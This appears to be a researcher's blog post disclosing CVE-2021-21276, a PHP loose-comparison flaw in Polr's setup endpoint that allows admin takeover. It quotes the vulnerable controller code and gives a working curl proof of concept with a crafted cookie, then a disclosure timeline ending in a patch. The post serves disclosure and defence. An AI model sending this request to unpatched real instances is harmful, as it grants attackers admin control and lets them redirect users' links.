Polr URL Shortener Admin Takeover

Polr is an open-source URL shortener written in PHP. It uses the Lumen framework, and there are at least 1100 active instances running and exposed to the internet.

It's built on Lumen 5.1 which was released in 2015 with 3 years of security support. When I was setting up a testing environment, I also noticed that it wasn't compatible with PHP later than 7.3 (out of active support, security support for about 10 months), or MySQL 8.

Setup process

Polr is targeted at developers not familiar with the Laravel/Lumen ecosystem, so it includes a setup wizard. Once you've installed the code on the server and configured the web server, you're presented with a nice GUI to fill out your settings.

Setup Screen for Polr

This setup screen is protected by an environment variable written to the .env file, which disables it once it's been run once. The new .env file, populated with the settings from the GUI is written and the browser is redirected to a setup complete screen.

The route you are redirected to (/setup/finish) is responsible for doing most of the setup. Since the environment are loaded from the .env at the start of the request, the initial setup request does not have access to any of those variables. As a workaround, the Polr developers redirect to /setup/finish from the first page, and this new request has access to the correct environment variables.

This second step is responsible for migrating the database (setting up the tables), updating the GeoIP database and creating the initial admin user. Polr set a cookie in this initial request with some information required for the second page, along with a secret token to block unauthorized users. The content of the cookie is a json object, as follows:

{
  "acct_username": "polr",
  "acct_email": "polr@admin.tld",
  "acct_password": "polr",
  "setup_auth_key": "d2fbec1321de3bc53af2fe7716c4b90c"
}

The vulnerability

First, the controller checks if the setup_arguments cookie is set, returning 404 if not. The cookie is then unset, and compared against the setup key which was generated and stored in the first step (in the .env as TMP_SETUP_AUTH_KEY).

To check if this is an authorized request, Polr uses loose comparison, checking that the auth key matches the ones passed in the cookie. In PHP, comparing true with any non-empty alphanumeric string will return true (example). Since we can control the cookie, we can pass true as the second parameter of the comparison and force it to return true.

if (!isset($_COOKIE['setup_arguments'])) {
    abort(404);
}

$setup_finish_args_raw = $_COOKIE['setup_arguments'];
$setup_finish_args = json_decode($setup_finish_args_raw);

setcookie('setup_arguments', '', time() - 3600);

$transaction_authorised = env('TMP_SETUP_AUTH_KEY') == $setup_finish_args->setup_auth_key;

if ($transaction_authorised != true) {
    abort(403, 'Transaction unauthorised.');
}

A couple of lines down (after running the migration and GeoIP update, which will succeed if the instance is active) Polr creates a brand new admin account with the details from the cookie. Once we're inside the admin panel we can perform any action including editing the destination of any created links, creating other admins and modifying settings.

$user = UserFactory::createUser(
    $setup_finish_args->acct_username,
    $setup_finish_args->acct_email,
    $setup_finish_args->acct_password,
    1,
    $request->ip(),
    false,
    0,
    UserHelper::$USER_ROLES['admin']
);

return view('setup_thanks')->with('success', 'Set up completed! Thanks for using Polr!');

Proof of concept

I set up a new instance, configuring it to use a fresh RDS MySQL database. I then headed over to the application URL and configured the first step by setting the database credentials, site settings, etc.

Upon pressing the setup button, I was redirected to the /setup/finish endpoint and shown a success screen. I was able to login with the admin account credentials I set during the setup.

I constructed the malicious cookie, and using curl I sent the malicious request to the setup endpoint, which returned a 200 status, and the HTML for the setup success page.

curl --location --request GET 'https://polrtest-vhxwh.ondigitalocean.app/setup/finish' \
--header 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0' \
--header 'Accept: text/html' \
--header 'Cookie: setup_arguments=%7B%22acct_username%22%3A%22adminuser%22%2C%22acct_email%22%3A%22adminuser%40gmail.com%22%2C%22acct_password%22%3A%22adminuser%22%2C%22setup_auth_key%22%3Atrue%7D;'

I was then able to login with my malicious account, adminuser and access the admin management panel.

Polr Admin Panel

Timeline

  • Jan 24th 2021: Report and POC sent to the Polr maintainer.
  • Jan 25th 2021: Maintainer acknowledges the issues.
  • Jan 27th 2021: CVE-2021-21276 is assigned to the vulnerability.
  • Jan 29th 2021: Maintainer publishes a GitHub security advisory and released a patch in version 2.3.0.
  • Mar 2nd 2021: Blog post published